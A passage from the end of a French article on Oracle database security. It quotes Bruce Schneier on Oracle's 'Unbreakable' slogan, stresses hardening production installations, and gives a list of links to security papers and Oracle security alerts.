You can't break it, you can't break in. Bruce Schneier - cryptologue connu et spécialiste de la sécurité des systemes IT - a ajouté son propre commentaire : "Unbreakable" has a meaning. It means that it can't be broken.(...) I don't care who Larry Ellison (le PDG d'Oracle) is; he can't rewrite the dictionary. (Crypto-Gram Newsleter, 15 luty 2002, http://www.counterpane.com/crypto-gram-0202.html#6) Il ne faut pas oublier que c'est `a l'installateur de préparer correctement l'installation de production. Il doit la rendre solide et supprimer la fonctionnalité superflue, suivant les prescriptions de l'éditeur. C'est justement ces types de défauts qui constituent le plus grand danger. ------------------------------------------------------------------------------------------ Sur le réseau * http://echelon.pl/wojtekd - page personnelle de l'auteur - articles et présentations concernant la sécurité d'Oracle (et pas seulement) * http://www.ploug.org.pl/gazetka/23/11.htm -- Wojciech Dworakowski, Méthodes choisies d'attaques sur Oracle 8i * http://www.ploug.org.pl/gazetka/24/10.htm -- Wojciech Dworakowski, £ukasz Luzar, Attaques SQL-injection * http://otn.oracle.com/deploy/security/alerts.htm -- Oracle Security Alerts * http://www.ploug.org.pl -> Gazette - dans chaque numéro (depuis 24) Bulletin de Sécurié PLOUG * http://www.nextgenss.com/papers/hpoas.pdf -- David Litchfield, Hackproofing Oracle Application Server * http://www.appsecinc.com/presentations/Protecting_Oracle_Databases_White_Paper.pdf -- Protecting Oracle Databases * http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html - documentation du script tnscmd ------------------------------------------------------------------------------------------

  •  
    Liens connexes
    · Plus à propos de Securité
    · Nouvelles transmises par Romain_Le_Guen


    L'article le plus lu à propos de Securité:
    Tutoriel Aircrack


    Article Rating
    Average Score: 4.5
    Votes: 2


    Please take a second and vote for this article:

    Excellent
    Very Good
    Good
    Regular
    Bad


    Options

     Format imprimable Format imprimable


    PHP-Nuke Copyright © 2005 by Francisco Burzi. This is free software, and you may redistribute it under the GPL. PHP-Nuke comes with absolutely no warranty, for details, see the license.
    Page Generation: 0.99 Seconds